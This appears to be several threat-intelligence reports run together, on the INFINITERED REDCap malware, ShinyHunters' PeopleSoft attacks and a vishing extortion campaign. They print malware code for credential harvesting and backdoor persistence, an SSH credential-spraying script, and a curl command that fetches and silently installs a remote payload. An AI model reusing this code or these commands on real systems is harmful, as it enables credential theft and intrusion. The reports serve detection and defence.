Written by: Patrick Whitsell, John McGuiness

Google Threat Intelligence Group (GTIG) has identified a sophisticated campaign attributed to UNC6508, a People's Republic of China (PRC)-nexus threat actor, targeting institutions in the North American academic, medical, and military research community. While remaining undetected for over a year, the threat actor compromised externally facing web applications, deployed bespoke malware, pivoted to sensitive internal systems, and abused enterprise administrative tools for covert data exfiltration. The threat actor had broad collection aspirations, including sensitive defense intelligence related to national security, Indo-Pacific command operations, artificial intelligence, uncrewed vehicle systems, cyber offensive programs, and medical research. 

GTIG disrupted the malicious infrastructure associated with this threat actor. Working with Mandiant Consulting, we notified the affected organizations upon detection and offered our assistance with remediation. We have updated Google Security Operations (SecOps) with relevant intelligence, enabling defenders to identify indicators of compromise (IOCs) within their networks. We encourage all users and customers to follow recommended best practices for third-party Identity Providers (IdP) and ensure 2-Step Verification (2SV) is enabled across all accounts.

Campaign Overview

The campaign targeted a diverse set of national, state, and private medical entities. These organizations comprise world-renowned clinical providers, premier academic centers, North American military health institutions, professional advocacy groups, and health regulatory bodies. Their research areas span a broad spectrum of modern medicine, from molecular discovery and clinical drug trials to state-level public health policy and military readiness. They employ thousands of people with a combined research budget in the billions of dollars.

The earliest known compromise occurred in September 2023, after which GTIG observed a consistent operational pattern. The threat actor exploited externally facing REDCap (Research Electronic Data Capture) servers and deployed custom malware named INFINITERED to capture legitimate REDCap login credentials. Then, after remaining undetected for more than a year, UNC6508 used the captured credentials to access the victim’s internal network. The threat actor was also observed using the novel technique of manipulating domain content compliance rules for data exfiltration. Lastly, UNC6508 used sophisticated operations security (OpSec) techniques to conceal and obfuscate their activity. 

GTIG collaborated closely with Mandiant Consulting, the FLARE team, and Workspace Security on this effort to combine our threat intelligence, incident response, and reverse engineering expertise across Google Cloud. This enabled us to develop a complete picture of the attack lifecycle from initial compromise to complete mission. GTIG also extends thanks to the affected organizations for their cooperation and the valuable post-exploitation insights they shared.

Prevention, Detection, and Remediation

GTIG recommends defenders implement the following security measures, across all Cloud enterprise platforms, to mitigate this threat:

• Secure Admin Accounts: Enforce phishing-resistant 2-Step Verification (2SV) for enterprise administrator accounts, including through third-party Identity Providers.

• Advanced Protection: Consider enrolling highly sensitive accounts in our Advanced Protection Program for additional safeguards against malware and phishing attacks.

• Prevent Cookie Theft: Enforce Device Bound Session Credentials (DBSC) with CAA for highly sensitive accounts on Windows devices to prevent session hijacking.

• Monitor Audit Logs: Enable Audit logs to analyze, monitor, and alert on changes to your data.

• Control Data: Define Data Loss Prevention (DLP) rules to block or alert on external sharing of sensitive data.

• Audit Compliance Rules: Review Admin audit logs and content compliance rules for unauthorized modifications.

• SIEM Coverage: Consider using Google Security Operations (SecOps) and ensure Workspace logs are included in your Security Information and Event Management (SIEM) pipeline.

• Password Protection: Use Chrome Enterprise Password Leak Detection to alert when potentially compromised password use is detected.

• Patch REDCap: Fully updated REDCap installations to the latest software version and ensure older versions are completely removed.

• Monitor for INFINITERED: Scan REDCap servers for the presence of INFINITERED using the provided YARA rule and IOCs.

Medical Research University Compromise

In September 2023, a REDCap server belonging to a North American medical research institution was compromised. Continuing activity was observed through November 2025. During this time period, UNC6508 carried out the following attack chain.

1. Exploit the REDCap server.

2. After three months, deploy the INFINITERED malware.

3. INFINITERED stealthily records credentials, and persists through upgrades, for more than a year.

4. Pivot to a domain admin account.

5. Add the malicious content compliance rule.

6. Silently “BCC-forward” matched emails to a threat actor-controlled account.

Initial Access: REDCap Exploitation and INFINITERED

UNC6508 consistently targets REDCap servers. REDCap is a web-based software platform designed specifically for building and managing online databases and surveys, in compliance with regulations for medical and scientific research. It is a commonly used platform in the North American medical research community.

GTIG was not able to confirm how UNC6508 initially gained access to the REDCap server. By design, REDCap allows administrators to continue running legacy software side-by-side with the current version. UNC6508 was observed probing for these vulnerable legacy versions on several target organizations’ REDCap systems. This highlights not only the increasing importance of rapidly applying security patches, but also promptly removing older software versions to prevent downgrade attacks.

Upon establishing a foothold on the REDCap server, UNC6508 performed internal reconnaissance and credential discovery to obtain database and service account credentials. The threat actor also deployed a web shell named "help.php", which maintained persistence and functioned as an uploader in the REDCap application.

INFINITERED Analysis

Three months after the initial compromise, UNC6508 deployed a custom malware payload tracked as INFINITERED. This malware implements its functionality across three distinct modular components by trojanizing legitimate REDCap system files.

• Dropper and Upgrade Interception 

• Credential Harvester

• Backdoor, with command and control (C2)

GTIG discovered multiple organizations across the US and Canada compromised with INFINITERED. All of these organizations were promptly notified of the compromise upon detection and offered our assistance with remediation.

Dropper and Upgrade Interception

To maintain persistent remote access, INFINITERED injects its code into new REDCap versions by intercepting the upgrade process. This capability is embedded into the legitimate REDCap upgrade system file. INFINITERED performs this code injection following these steps.

1. Read the current software version, which includes the INFINITERED code. 

2. Extract the malicious logic using GUID delimiter b49e334d-9c01-463e-9bc5-00a6920fb66e. 

3. Inject backdoor code into the custom hooks configuration file. 

4. Inject credential harvester code into the authentication system file.

5. Inject the extracted code from step 2 into the upgrade system file.

In Elastic Beanstalk environments, INFINTERED performs additional steps to ensure persistence in cloud deployments.

// b49e334d-9c01-463e-9bc5-00a6920fb66e
...
$file_upgrade = $base_path."Upgrade.php"; 
$file_content_upgrade = $zip->getFromName($file_upgrade); // new upgrade file content
$file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current file 
...
if ($file_content_upgrade !== false) {
    // Base64 GUID delimiter
    $dummy_marker = base64_decode('YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl');
    $pattern = "/$dummy_marker(.*?)$dummy_marker/s";
    if (preg_match($pattern, $file_content_upgrade_local, $matches)) {
        $extracted_text = $matches[0];
        $search_content = "// If running on AWS Elastic Beanstalk"; 
        $upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content;
        $new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade);
        $zip->deleteName($file_upgrade);
        $zip->addFromString($file_upgrade, $new_content);
    }
}
$zip->close();
...
// b49e334d-9c01-463e-9bc5-00a6920fb66e

Code Snippet 1: Intercept upgrades and inject INFINITERED code

Credential Harvester

INFINITERED injects a credential harvester into the authentication system file to compromise user accounts. This component of the malware captures usernames and passwords submitted via POST requests during the login process. The credentials are encrypted using the environment’s default encryption routine and hidden inside a local REDCap sessions database table with the string “xc32038474a” prefixed to the Session ID.

$currentUTC = gmdate('Y-m-d H:i:s');
$str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);
include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php';
$expiration_timestamp = strtotime("+60 days", strtotime($currentUTC));
$session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20);
$session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))";
@$rc_connection->query($session_sql);

Code Snippet 2: Hide credentials in a legitimate database table

Backdoor

INFINITERED also has backdoor functionality it establishes in the custom hooks system file inside the update package, specifically within a function that executes on every REDCap page load. This global hook ensures the backdoor runs on every page load. INFINITERED looks for a specific HTTP Cookie parameter named "REDCAP-TOKEN" and a cookie value starting with a specific plaintext string. If these conditions are present, the malware strips the prefix and decrypts the remaining payload with the environment's default decryption routine.

$cookieValue = $_COOKIE['REDCAP-TOKEN'];
if ($cookieValue) {
    $magic_flag = '[REDACTED]'; // Cookie prefix
    ...
    // Decrypt message if cookie prefix is found
    $key = '[REDACTED]';
    $req_data = substr($cookieValue, strlen($magic_flag));
    $req_data = decrypt($req_data, $key);

Code Snippet 3: Decrypting commands to INFINITERED

If the decrypted payload is empty, the malware acts as a beacon, returning system details such as the OS, PHP version, working directory, and database credentials including the hostname, username, password, and salt. When non-empty, the malware will parse the payload for command tags, which the threat actor can use to execute shell commands, run raw SQL queries, and transfer files.

Supported Commands

INFINITERED is capable of executing the following commands.

Domain Content Compliance Rule Abuse

More than a year after the initial compromise, UNC6508 used overlapping credentials, harvested from REDCap, to access an administrator account. This underscores the challenge and importance of securing systems holistically. Defenders should enable 2-Step Verification (2SV) and ensure unique credentials are used across different security domains to mitigate credential replay attacks.

UNC6508 then leveraged content compliance rules, a legitimate feature present in many cloud-based enterprise productivity suites, to exfiltrate specific email communications. Administrators can create these rules to manage email messages that contain content matching predefined sets of words, phrases, text patterns, or numerical patterns. By default, compliance rules apply to all users in an organizational unit. The use of compliance rules for data exfiltration is a novel technique not previously observed with PRC-nexus threat actors.

Specifically, UNC6508 created a compliance rule named "Patroit" [sic] that used regular expressions to match on keyword and email address patterns in sent or received emails. Matches were silently BCC-forwarded to a threat actor-controlled Gmail address, BebitaBarefoot774[@]gmail[.]com, providing a covert and continuous stream of exfiltrated data. Upon discovery, GTIG disabled the Gmail account to prevent further data exfiltration.

The patterns used in the “Patroit” compliance rule suggest strategic intelligence collection targeting geo-strategic policy, military strategy, advanced technology, and medical research. The patterns also include professional email addresses and phone numbers for members of organizations in these spaces. Several of the terms applied have spelling errors, suggesting the list was manually maintained. 

This ambitious scope of intelligence collection from UNC6508 may suggest a broader range of targets beyond the identified victims in the medical research community. GTIG assesses these collection priorities are aligned with the strategic interests of the People's Republic of China. 

While most of the terms relate to defense and technology, the terms including medical research facilities, and the specific pathogen “Chikungunya,” stand out from the others. Chikungunya is a viral disease transmitted to humans from mosquitos and was responsible for an outbreak in China's Guangdong province beginning in July 2025.

Operations Security (OpSec)

GTIG observed UNC6508 use sophisticated and meticulous OpSec techniques to conceal their activities from defenders.

UNC6508 relied heavily on Obfuscation (OBF) networks. This strategy, now frequently employed by PRC-nexus actors, involves routing traffic from offensive operations through a mix of compromised routers, residential proxies, Virtual Private Servers (VPS), and other devices.  

This operation used exclusively US-based OBF network IP addresses to access both the "BebitaBarefoot774[@]gmail[.]com" account and when replaying legitimate credentials to access the compromised enterprise administrator account. Additional OpSec techniques were also used, such as obtaining the threat actor-controlled Gmail account through a mass creation service and dedicating it exclusively to email data exfiltration.

By maintaining a high level of OpSec, UNC6508 significantly complicates the efforts of defenders to identify malicious patterns, establish accurate attribution, and map the threat actor’s infrastructure.

Attribution

GTIG attributes this activity to UNC6508 with high confidence. This assessment is based on infrastructure overlaps between campaigns, the consistent use of the INFINITERED backdoor on REDCap servers, and the specific targeting of medical research and defense sectors. We assess UNC6508 is an espionage motivated threat cluster, with priorities that align with historic PRC state-sponsored espionage trends and intelligence collection requirements.

Indicators of Compromise (IOCs)

To assist the wider community, we have also included a list of indicators in a GTI Collection for registered users.

Network Indicators

File Indicators

Host Indicators

MITRE ATT&CK Mapping

Detections

YARA Rules

rule G_Backdoor_INFINITERED_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$magic_flag = "ej671a16i7fd8202nu6ltfg5p6x7u"
		$magic_flag_base64 = "ej671a16i7fd8202nu6ltfg5p6x7u" base64
		$marker = "b49e334d-9c01-463e-9bc5-00a6920fb66e"
		$marker_base64 = "YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl"
		$s1 = "substr($cookieValue, strlen($magic_flag));"
		$s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']"
		$s3 = "'data' => encrypt($data, $key)"
		$s4 = "$data = shell_exec($command);"
		$s5 = "move_uploaded_file($tmpPath, $fileName)"
		$s6 = "$data = implode('|', $fields)"
		$b_s1 = "substr($cookieValue, strlen($magic_flag));" base64
		$b_s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']" base64
		$b_s3 = "'data' => encrypt($data, $key)" base64
		$b_s4 = "$data = shell_exec($command);" base64
		$b_s5 = "move_uploaded_file($tmpPath, $fileName)" base64
		$b_s6 = "$data = implode('|', $fields)" base64
		$t1 = "(isset($_POST['username']) && $_POST['password'])"
		$t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))"
		$t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);"
		$t4 = "redcap_connect.php"
		$b_t1 = "(isset($_POST['username']) && $_POST['password'])" base64
		$b_t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))" base64
		$b_t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);" base64
		$b_t4 = "redcap_connect.php" base64
		$u1 = "$zip->open($filename) === TRUE)"
		$u2 = "$hooks_encode ="
		$u3 = "$auth_encode ="
		$u4 = "$file_content_hooks = $zip->getFromName($file_hooks);"
		$u5 = "$file_content_auth = $zip->getFromName($file_auth);"
		$u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);"
		$u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);"
		$u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);"
		$u9 = "str_replace($search_content, $auth_decode, $file_content_auth);"
		$b_u1 = "$zip->open($filename) === TRUE)" base64
		$b_u2 = "$hooks_encode =" base64
		$b_u3 = "$auth_encode =" base64
		$b_u4 = "$file_content_hooks = $zip->getFromName($file_hooks);" base64
		$b_u5 = "$file_content_auth = $zip->getFromName($file_auth);" base64
		$b_u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);" base64
		$b_u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);" base64
		$b_u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);" base64
		$b_u9 = "str_replace($search_content, $auth_decode, $file_content_auth);" base64
		$filemarker = "<?php"
	condition:
		filesize < 1MB and $filemarker in (0 .. 128) and (((any of ($magic*) or any of ($marker*)) and (any of ($s*) or any of ($t*) or any of ($u*))) or 4 of ($s*) or 4 of ($b_s*) or all of ($t*) or all of ($b_t*) or 6 of ($u*) or 6 of ($b_u*))
}

Introduction

Mandiant and Google Threat Intelligence Group (GTIG) have identified an active compromise and extortion campaign attributed to UNC6240 (ShinyHunters) targeting Oracle PeopleSoft application infrastructure. The activity was observed between May 27, 2026, and June 9, 2026 and is consistent with the exploitation of CVE-2026-35273, a critical remote code execution vulnerability (CVSS 9.8) in the Environment Management component. The exploitation of this vulnerability directly aligns with the observed targeting of Environment Management Hub (PSEMHUB) endpoints. Because this activity predates Oracle's June 10, 2026 advisory, the vulnerability was exploited as a zero-day.

Upon becoming aware of active scanning and exploitation, we initiated notifications to over 100 global organizations whose IP addresses correlated with potentially vulnerable endpoints. Most of these organizations were based in the United States, and 68 percent operated within the higher education sector. Subsequently, public reports by @nahamike01 on X highlighted open attacker directories on the staging servers, allowing GTIG to perform a detailed triage of the threat actor's operations. 

The attacker staging environments hosted customized MeshCentral agents masquerading as legitimate cloud endpoints, which they used to run administrative command queries and deploy a custom lateral movement and defacement script, [victim_abbreviation]_fanout.sh. This campaign directly correlates with subsequent data leaks of stolen organization data published on the ShinyHunters Data Leak Site (DLS) on June 9, 2026. 

We recommend that organizations running Oracle PeopleSoft take the following immediate actions to best defend themselves. Additional remediation and hardening guidance is included later in this post.

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Threat Detail & Campaign Overview

On June 9 2026, public threat reports highlighted open attacker directories. GTIG triaged five sequential IP addresses: 142.11.200.186, 142.11.200.187, 142.11.200.188, 142.11.200.189, and 142.11.200.190. These systems were hosting Python SimpleHTTP servers on port 8888, exposing directory contents that included staging materials, customized agents, and attacker command histories.

The staging infrastructure hosted pre-configured Windows MeshCentral agent binaries disguised as Microsoft Azure services, specifically named meshagent32-azure-ops.exe, meshagent64-azure-ops.exe, and meshagent64-v2.exe. MeshCentral is an open-source remote management server; its agent is software that runs on remote devices to allow for remote management across various operating systems, including Windows, Linux, macOS, and FreeBSD. Static analysis indicates these agents were hardcoded to establish communication with the command and control (C2) server wss://azurenetfiles.net:443/agent.ashx. The domain azurenetfiles.net was chosen to mimic legitimate Microsoft Azure NetApp Files endpoints, a common masquerading tactic. An unconfigured Linux meshagent binary was also staged, suggesting that the threat actors passed parameters dynamically via the command line during deployment.

Global Notification Response Campaign

Prior to the discovery of the open staging directories, we began an effort to alert over 100 exposed organizations to assist in restricting access to vulnerable endpoints. These organizations are significantly concentrated in the Higher Education sector; 68 percent are academic institutions, including universities and colleges worldwide.

While several organizations successfully blocked the activity or remediated the vulnerabilities, others experienced compromise, resulting in stolen data being published on the ShinyHunters DLS.

Technical Analysis & Command History

The exposed .bash_history file, which was identical across all five staging hosts, outlines the server configuration and administrative actions. The technical narrative begins with the configuration of the staging environment. On May 27, 2026, at 22:14 UTC, the attackers installed the MeshCentral remote management server (version 1.1.59) to establish their C2 staging environment. Shortly after, at 22:25 UTC, they installed the acme-client npm package to automate the provisioning of Let's Encrypt SSL certificates for the masquerading domain "azurenetfiles.net".  The attackers interacted with compromised systems using the MeshCentral command-line interface utility meshctrl.js.

The command history shows the threat actors performing targeted reconnaissance within compromised internal networks. They mapped Oracle PeopleSoft configurations by inspecting mount points, checking the process scheduler configuration file psappsrv.cfg, and reading WebLogic server XML configurations (config.xml). The session log ends with the attackers establishing an outbound SSH connection from their staging system to 176.120.22.24, which hosts the public clearnet mirror of the ShinyHunters DLS.

An analysis of the exposed command history reveals the key administrative and malicious operations performed by the threat actors on the staging servers (timestamps were not available in every case):

1. Staging Infrastructure Setup:

1. May 27, 2026, 22:14 UTC: Installed MeshCentral (v1.1.59) and 22:25 UTC: Installed "acme-client" to establish the C2 staging environment and automate SSL certificate provisioning for azurenetfiles.net.

2. Staged the compiled Windows agent binaries (meshagent32-azure-ops.exe, etc.) designed to communicate back to the C2 address: wss://azurenetfiles.net:443/agent.ashx.

3. May 29, 2026, 18:46 UTC: The attackers checked for the availability of the "authenticode" tool on the staging system using the command npm list global authenticode. This command would return any npm package with a name starting in 'authenticode', such as authenticode-sign, used for signing binaries, or authenticode, used for examining metadata on a file.

2. Targeted Internal Reconnaissance:

• Leveraged the MeshCentral CLI utility meshctrl.js to execute administrative command queries on compromised remote endpoints: hostname; id.

• Mapped Oracle PeopleSoft system configurations by inspecting the process scheduler configuration file (psappsrv.cfg) to extract machine names and IP addresses:

grep -hE '\''^[[:space:]]*Address=|^[[:space:]]*HostName='\'' /u01/app/psoft/ps_config_homes/csprd/appserv/prcs/psappsrv.cfg 2>/dev/null | head -80

• Audited network configurations and active mounts on compromised hosts: mount | grep -E "psoft|ps_config|nfs".

• Mapped internal subnet hosts by querying local hosts tables: cat /etc/hosts | grep -E "[redacted_victim_string]".

• Inspected WebLogic XML configurations (config.xml) to map internal application servers.

3. Lateral Movement & Script Propagation:

• Wrote the lateral propagation script [victim_abbreviation]_fanout.sh via a heredoc to /tmp on the staging host.

• Triggered the execution of the propagation script on compromised hosts using the MeshCentral command execution feature:

node meshctrl.js RunCommand --loginuser admin --loginpass '[password]' --id '[agent_id]' --run 'bash /tmp/[victim_abbreviation]_fanout.sh'

• Verified propagation success by running remote checks for the defacement marker file README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT.

4. Exfiltration & DLS Connection:

• Compressed exfiltrated directories containing stolen data using zstd:

pv -s "$(du -sb exfil | awk '{print $1}')" | zstd -3 -T0 -o exfil.tar.zst

• Concluded operations by establishing an outbound SSH connection from the staging host to 176.120.22.24, the IP address hosting the public mirror of the ShinyHunters Data Leak Site.

Propagation Script & Lateral Movement

As observed in the .bash_history log, the threat actors wrote a propagation script named [victim_abbreviation]_fanout.sh directly to the /tmp directory of the compromised system. This script automates SSH credential spraying against internal hosts by parsing hostnames from the local /etc/hosts file matching a specific naming pattern. The script attempts authentication using a hardcoded list of common administrative and application-specific usernames and passwords.

Upon establishing a successful SSH session, the script copies a defacement and extortion marker file named README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT into the WebLogic and Process Scheduler directories. This staging and deployment activity directly correlates with the publication of stolen archives on the ShinyHunters DLS on June 9, 2026.

The redacted contents of the propagation script [victim_abbreviation]_fanout.sh are as follows:

set +e
SRC="/u01/app/psoft/ps_config_homes/csprd/webserv/CSPRD02/README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"
NAME="README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"
BASE="/u01/app/psoft/ps_config_homes/csprd"
export PATH=/usr/bin:/bin
# hosts from /etc/hosts — internal PS nodes only
HOSTS=$(grep -E '[redacted_victim_host_pattern]|csprd[0-9]' /etc/hosts | awk '{print $2}' | grep -v '^#' | sort -u)
echo "HOSTS=$(echo $HOSTS | wc -w)"
PWDS="[redacted_passwords]"
USERS="[redacted_usernames]"
OK=0; FAIL=0; SKIP=0
for h in $HOSTS; do
  echo "=== $h ==="
  copied=0
  for u in $USERS; do
    for p in $PWDS; do
      sshpass -p "$p" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=6 -o BatchMode=no $u@$h "hostname" >/dev/null 2>&1 && {
        for dest in $BASE/webserv/CSPRD $BASE/webserv/CSPRD02 $BASE/appserv/prcs; do
          sshpass -p "$p" ssh -o StrictHostKeyChecking=no $u@$h "test -d $dest && mkdir -p $dest && cat > $dest/$NAME" < "$SRC" 2>/dev/null && echo "  OK $dest ($u)" && OK=$((OK+1)) && copied=1
        done
        break 2
      }
    done
  done
  if [ $copied -eq 0 ]; then
    # try key-based
    ssh -o StrictHostKeyChecking=no -o ConnectTimeout=6 -o BatchMode=yes $USER@$h "hostname" >/dev/null 2>&1 && copied=1 || true
    if [ $copied -eq 0 ]; then echo "  FAIL ssh"; FAIL=$((FAIL+1)); fi
  fi
done
# local paths on this host
for dest in $BASE/webserv/CSPRD $BASE/webserv/CSPRD02 $BASE/appserv/prcs; do
  if [ -d "$dest" ]; then cp -f "$SRC" "$dest/$NAME" && chmod 644 "$dest/$NAME" && echo "LOCAL OK $dest"; fi
done
echo SUMMARY ok=$OK fail=$FAIL
find $BASE -name "$NAME" -type f 2>/dev/null

Remediation and Hardening

To defend against this campaign, we recommend that organizations running Oracle PeopleSoft immediately implement the following security measures:

Network Isolation & WAF Rules

• Endpoint Access Restrictions: If you cannot disable the EMHub Service, immediately block external network access to the sensitive endpoints /PSEMHUB/* (specifically /PSEMHUB/hub) and /PSIGW/HttpListeningConnector at the network perimeter or firewall level. Relying solely on Web Application Firewall (WAF) body-inspection rules is insufficient, as these controls can be bypassed.

• Non-Breaking Action: Restricting these endpoints is considered non-breaking for standard end-user operations. The Environment Management Hub (EMHub) and the Integration Broker Listening Connector are administrative or system-to-system components and are not required for the core user-facing PeopleSoft Internet Architecture (PIA) browser sessions.

Log & Endpoint Monitoring

• Access Log Analysis: Audit the PIA WebLogic access logs for HTTP POST requests directed at /PSEMHUB/hub and /PSIGW/HttpListeningConnector originating from external or untrusted source IP addresses.

• SSRF Detection: Analyze requests to /PSIGW/HttpListeningConnector for loopback IP addresses (such as 127.0.0.1, localhost, or ::1) or internal IP ranges passed within request headers or parameters. This is a common method for attackers to perform Server-Side Request Forgery (SSRF) to bypass access controls.

Network Telemetry

• Outbound Port 445 Monitoring: Monitor outbound firewall logs and NetFlow data for outbound SMB traffic (TCP port 445) originating from PeopleSoft hosts to untrusted, external internet destinations. The exploit chain may coerce the system into making outbound connections in an attempt to capture Windows machine-account NetNTLM hashes.

Host-Level Auditing & Filesystem Checks

Conduct a thorough forensic audit of the web-tier filesystem on PeopleSoft hosts for indicators of compromise:

• Webshell Detection: Scan the WebLogic web application directory <PS_CFG_HOME>/webserv/<domain>/applications/peoplesoft/PSEMHUB.war/ for any unexpected *.jsp files that are not part of the shipped product.

• Unauthorized Staging: Inspect the staging directory .../PSEMHUB.war/envmetadata/transactions/ for unauthorized folders, files, or binary drops.

• Unexpected Directories: Look for unexpected directories named logs, persistantstorage, or scratchpad under the PSEMHUB directories.

• XMLDecoder Persistence: Check <docroot>/envmetadata/data/environment/ for recently created or modified .xml files, which may be leveraged by threat actors to execute remote code via XMLDecoder upon application restart.

In alignment with Oracle’s security advisory, we consider the implementation of these mitigations to be a high-priority risk reduction measure and strongly recommend immediate action to address the identified exposure. As this vulnerability is remotely exploitable without authentication and may result in remote code execution, organizations must remain on actively supported versions and apply all Critical Patch Updates, Critical Security Patch Updates, and Security Alerts without delay. Review the full Oracle Security Alert Advisory - CVE-2026-35273 for complete details.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI collection for registered users.

Staging & C2 Network Indicators

• 142.11.200.186

• 142.11.200.187

• 142.11.200.188

• 142.11.200.189

• 142.11.200.190

• azurenetfiles.net

Staging Payloads & Attacker Files

Google Security Operations (SecOps)

SecOps customers will have access to the following pending-deployment rules. Once fully deployed, these rules will be available under the Mandiant Frontline Threats rule pack:

• Oracle PeopleSoft Configuration Inspection

• Oracle PeopleSoft Suspicious JSP File Write to PSEMHUB

• Sshpass Interactive File Deployment

• Data Archiving or Compression via Zstd Utility

• MeshCentral Command Execution via Meshctrl

A graphic created and shared by The Gentlemen ransomware group administrator Hastalamuerte on Breachforums in May 2026. Credit: ke-la.com.

Written by: Chad Reams, Tufail Ahmed, Keith Knapp, Ashley Frazer, Tyler McLellan

Introduction 

From January through May 2026, Mandiant identified a financially motivated data theft extortion campaign executed by the threat cluster UNC3753 (also tracked as "Luna Moth," “Chatty Spider,” and "Silent Ransom Group") targeting dozens of organizations across professional, legal, and financial services in the United States.

UNC3753 leverages voice phishing (vishing) and social engineering deception techniques to achieve remote access into corporate environments. Using pretexts such as data migration or invoice related emails, the threat actors initiate phone conversations posing as IT support and convince targets to host screen-sharing sessions and download remote monitoring and management (RMM) utilities. Once inside the environment, the threat actors either directly conduct searches to locate and exfiltrate highly sensitive data, or manipulate the victim into executing these actions on their behalf. This data typically includes proprietary legal agreements, personally identifiable information (PII), and financial records for subsequent extortion demands.

Notably, in instances possibly linked to UNC3753, threat actors have accessed victims' systems in person. In these physical incidents, individuals posing as IT technicians entered corporate offices to attempt direct exfiltration of data from an endpoint using USB storage media. 

This blog post details the threat group's technical lifecycle across recent Mandiant Consulting incident response engagements, highlights tactics like physical office targeting, and provides actionable recommendations to safeguard endpoints and infrastructure.

Threat Detail

The UNC3753 campaign lifecycle reflects an optimized, fast-tempo operational model. In many Mandiant investigated incidents, the entire attack sequence—from initial target contact to data theft and extortion—occurred within a single business day. Recently, Mandiant observed data searches, staging, and theft initiated in under an hour. 

The threat group frequently initializes campaigns using benign, invoice-themed email lures sent from actor-controlled consumer email accounts. These messages contain no active links or malicious attachments. Instead, they typically contain a brief, generic message for example: “hello, here is the invcoie we talked about yesterday”. Google Threat Intelligence Group (GTIG) assesses that the primary purpose of these emails is to establish a pretext, raising the target's internal security concerns so they are more susceptible to follow-up voice calls.

Initial Access via IT Helpdesk Impersonation

The core of UNC3753's entry mechanism relies on targeted vishing. Mandiant has observed the group targeting personnel across all seniority levels, who are often publicly listed on the organization’s websites, to harvest phone numbers and email addresses. Acting as members of the organization's internal IT helpdesk or security team, threat actors place direct calls to these employees. 

The callers use a variety of verbal instructions to guide target behavior. Under the guise of addressing a security issue or aiding with a corporate data migration project, they build trust and direct the target to join a screen-sharing session.

Remote Screen Control and Legitimate Tool Abuse

Once the target is engaged, the threat actors bypass conventional automated boundary security and email filtering controls by instructing the user to download and execute screen-sharing applications. 

Screen-Sharing Utilities

UNC3753 instructs targets to initiate remote desktop and support sessions using built-in or commercial services, including Zoom, Microsoft Terminal Services, Microsoft Teams, and Quick Assist. During a Teams-facilitated intrusion, the threat actor held five distinct calls with the same target over a three-day period.

Commercial RMM Agents

UNC3753 frequently attempts to establish more persistent access by social engineering targets into downloading AnyDesk, Bomgar, or Zoho Assist installers. In one engagement, the threat actor attempted to install a "SuperOps RMM agent" by convincing the target to download and execute a payload via a cURL command.

Message Delivery via Privnote

Threat actors consistently utilize privnote[.]com, a web-based, self-destructing text utility, to transmit installation links and commands to targets. This evasion technique ensures that copy-paste vectors leave no permanent footprint on endpoint browsers or chat logs.

Example cURL command staging string observed in UNC3753 remote sessions:

curl -sL "http://[actor-controlled-ip]/installer" -o "SuperOps.msi" && msiexec /i "SuperOps.msi" /quiet

Infrastructure Pivoting and Local Staging

Intrusions have abused Bring Your Own Device (BYOD) remote environments to access internal enterprise assets. In separate Mandiant Consulting cases, UNC3753 established Zoom sessions directly on targets' personal BYOD endpoints. Using these compromised personal laptops, they accessed corporate virtual desktop infrastructure (VDI) using native client platforms, such as Windows 365 (Windows365.exe) or Citrix clients. 

Once VDI environment access is secured, the threat actors pivot to corporate file systems:

1. System Enumeration: The threat actors map local directories, enumerate active OneDrive folders, and crawl mapped network drives.

2. Document Management Targeted Harvesting: Threat actors target specific legal and document storage repositories.

3. Keyword Search and File Staging: Threat actors use specific keyword search functions within iManage to locate highly sensitive folders containing tax logs (Forms W-2, W-9, and 1099), audit files, corporate client agreements, and Social Security numbers (SSNs). Staged results are compiled and sorted within target-accessible subdirectories, primarily inside the user's Downloads folder or native Roaming profile path.

Data Theft

UNC3753 exfiltrates the staged data using a variety of methods to bypass security controls. They frequently use portable versions of WinSCP or Rclone. In other instances, they simply log into a threat actor-controlled consumer file sharing account directly within the victim's web browser and batch upload the stolen files.

• Cloud Storage Staging: Threat actors instruct targets—or directly control their screens—to drag and drop staged folders into threat actor-controlled consumer file sharing accounts. In several intrusions, the exfiltration destination included folders explicitly renamed to mimic the victim organization's branding.

• FTP Utilities: When browser-based uploads are restricted by endpoint controls, threat actors download FTP and SFTP client binaries, primarily WinSCP, to exfiltrate bulk packages. In one incident, the threat group exfiltrated 1.7 gigabytes of data from a target's local OneDrive folder to a Google Drive account before pivoting to a VDI session and exfiltrating an additional 14.4 gigabytes using WinSCP. Google has taken action against this actor by disabling the Drive accounts and assets associated with this activity.

• Email Forwarding: The threat actors have also had victims stage files from internal iManage repositories and instructed them to send the files to threat actor-controlled consumer email addresses from the target's mailbox.

Threat Actor Extortion Tactics

